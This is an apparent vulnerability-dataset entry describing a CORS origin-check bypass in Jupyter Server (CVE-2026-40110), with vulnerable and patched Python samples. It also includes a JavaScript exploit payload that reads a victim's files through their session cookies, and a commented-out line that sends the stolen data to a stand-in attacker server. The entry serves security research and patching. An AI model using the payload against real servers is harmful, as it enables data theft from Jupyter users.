VAITP Dataset

← Back to the dataset

CVE-2026-40110

Improper origin validation in Jupyter Server allows for a CORS bypass.

  • CVSS 7.6
  • CWE-777
  • Input Validation and Sanitization
  • Remote

Jupyter Server is the backend for Jupyter web applications. In versions 2.17.0 and earlier, the Origin header validation uses Python's re.match() to check incoming origins against the allow_origin_pat configuration value. Because re.match() only anchors at the start of the string and does not require a full match, a pattern intended to match only a trusted domain (e.g., trusted.example.com) will also match any origin that begins with that domain followed by additional characters (e.g., trusted.example.com.evil.com). An attacker who controls such a domain can bypass the CORS origin restriction and make cross-origin requests to the Jupyter Server API from an untrusted site. This issue has been fixed in version 2.18.0.

CVSS base score
7.6
Published
2026-05-05
OWASP
A01 Broken Access Control
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Input Validation and Sanitization
Subcategory
Cross-Site Request Forgery (CSRF)
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Jupyter Serv
Fixed by upgrading
Yes

Solution

Upgrade Jupyter Server to version 2.18.0 or later.

Vulnerable code sample

import re

# This represents the Jupyter Server configuration value for allowed origins.
# The pattern is intended to match only 'trusted.example.com'.
# Note the lack of a '$' anchor at the end of the pattern.
allow_origin_pat = r'trusted\.example\.com'

def check_origin_vulnerable(origin_header, pattern):
    """
    Simulates the vulnerable origin check using re.match().
    re.match() only anchors at the start of the string, not the end.
    """
    # In a real server, this would parse the hostname from the Origin header.
    # For this example, we assume `origin_header` is just the hostname.
    if re.match(pattern, origin_header):
        return True
    return False

# --- Demonstration of the vulnerability ---

# A legitimate origin that should be allowed.
legitimate_origin = "trusted.example.com"

# An attacker-controlled origin that exploits the vulnerability.
# This should be blocked, but re.match() will allow it.
malicious_origin = "trusted.example.com.evil.com"

# A completely unrelated origin that should be blocked.
unrelated_origin = "another-site.com"

# --- Test cases ---

# Test 1: Legitimate origin (Correctly allowed)
is_allowed_1 = check_origin_vulnerable(legitimate_origin, allow_origin_pat)
print(f"'{legitimate_origin}' allowed: {is_allowed_1}")

# Test 2: Malicious origin (Incorrectly allowed due to the vulnerability)
is_allowed_2 = check_origin_vulnerable(malicious_origin, allow_origin_pat)
print(f"'{malicious_origin}' allowed: {is_allowed_2}")

# Test 3: Unrelated origin (Correctly blocked)
is_allowed_3 = check_origin_vulnerable(unrelated_origin, allow_origin_pat)
print(f"'{unrelated_origin}' allowed: {is_allowed_3}")

Patched code sample

import re

def check_origin_fixed(origin: str, allow_origin_pat: str) -> bool:
    """
    Checks if an origin is allowed, representing the fix for CVE-2026-40110.

    The fix involves using re.fullmatch() instead of the vulnerable re.match().
    re.fullmatch() ensures the entire origin string matches the pattern,
    preventing malicious subdomains from being incorrectly validated.
    """
    try:
        # The fix is to use re.fullmatch(), which requires the entire string to match.
        return bool(re.fullmatch(allow_origin_pat, origin))
    except re.error:
        return False

# --- Demonstration of the fix ---

# Configuration pattern intended to allow only 'trusted.example.com'
# Note: A real-world pattern should escape dots, e.g., r'trusted\.example\.com'
allowed_pattern = r"trusted.example.com"

# A legitimate origin that should be allowed.
trusted_origin = "trusted.example.com"

# A malicious origin that would have been allowed by the vulnerable re.match().
# The fixed code will correctly reject this.
malicious_origin = "trusted.example.com.evil.com"

# A completely unrelated origin that should be rejected.
unrelated_origin = "another-site.com"


print(f"Pattern: '{allowed_pattern}'\n")

# --- Verification ---
# The fixed function correctly allows the trusted origin.
is_trusted_allowed = check_origin_fixed(trusted_origin, allowed_pattern)
print(f"Checking '{trusted_origin}': {'Allowed' if is_trusted_allowed else 'Rejected'}")

# The fixed function correctly REJECTS the malicious origin.
is_malicious_allowed = check_origin_fixed(malicious_origin, allowed_pattern)
print(f"Checking '{malicious_origin}': {'Allowed' if is_malicious_allowed else 'Rejected'}")

# The fixed function correctly rejects an unrelated origin.
is_unrelated_allowed = check_origin_fixed(unrelated_origin, allowed_pattern)
print(f"Checking '{unrelated_origin}': {'Allowed' if is_unrelated_allowed else 'Rejected'}")

Payload

/*
  This script should be hosted on a malicious webpage served from a domain
  that exploits the partial regex match. For example, if the Jupyter Server's
  allow_origin_pat is set to trust 'https://notebooks.trusted.com', an attacker
  could register and use 'https://notebooks.trusted.com.evil-site.com'.
*/

async function exploitJupyter() {
  // The URL of the vulnerable Jupyter Server instance
  const targetUrl = 'https://VULNERABLE-JUPYTER-SERVER.com';

  try {
    // Attempt to fetch sensitive information, like the contents of the root directory.
    // The 'credentials: "include"' option is crucial to ensure the victim's
    // session cookies are sent with the request.
    const response = await fetch(`${targetUrl}/api/contents`, {
      method: 'GET',
      credentials: 'include',
      headers: {
        'Accept': 'application/json'
      }
    });

    if (response.ok) {
      const data = await response.json();
      console.log('Vulnerability exploited. Leaked data:', data);

      // In a real attack, the attacker would exfiltrate this data.
      // For example:
      // await fetch('https://attacker-collection-server.com/log', {
      //   method: 'POST',
      //   body: JSON.stringify(data)
      // });
    } else {
      console.error('Exploit failed. Server responded with status:', response.status);
    }
  } catch (error) {
    console.error('An error occurred during the exploit attempt:', error);
  }
}

exploitJupyter();

Cite this entry

@misc{vaitp:cve202640110,
  title        = {{Improper origin validation in Jupyter Server allows for a CORS bypass.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-40110},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-40110/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::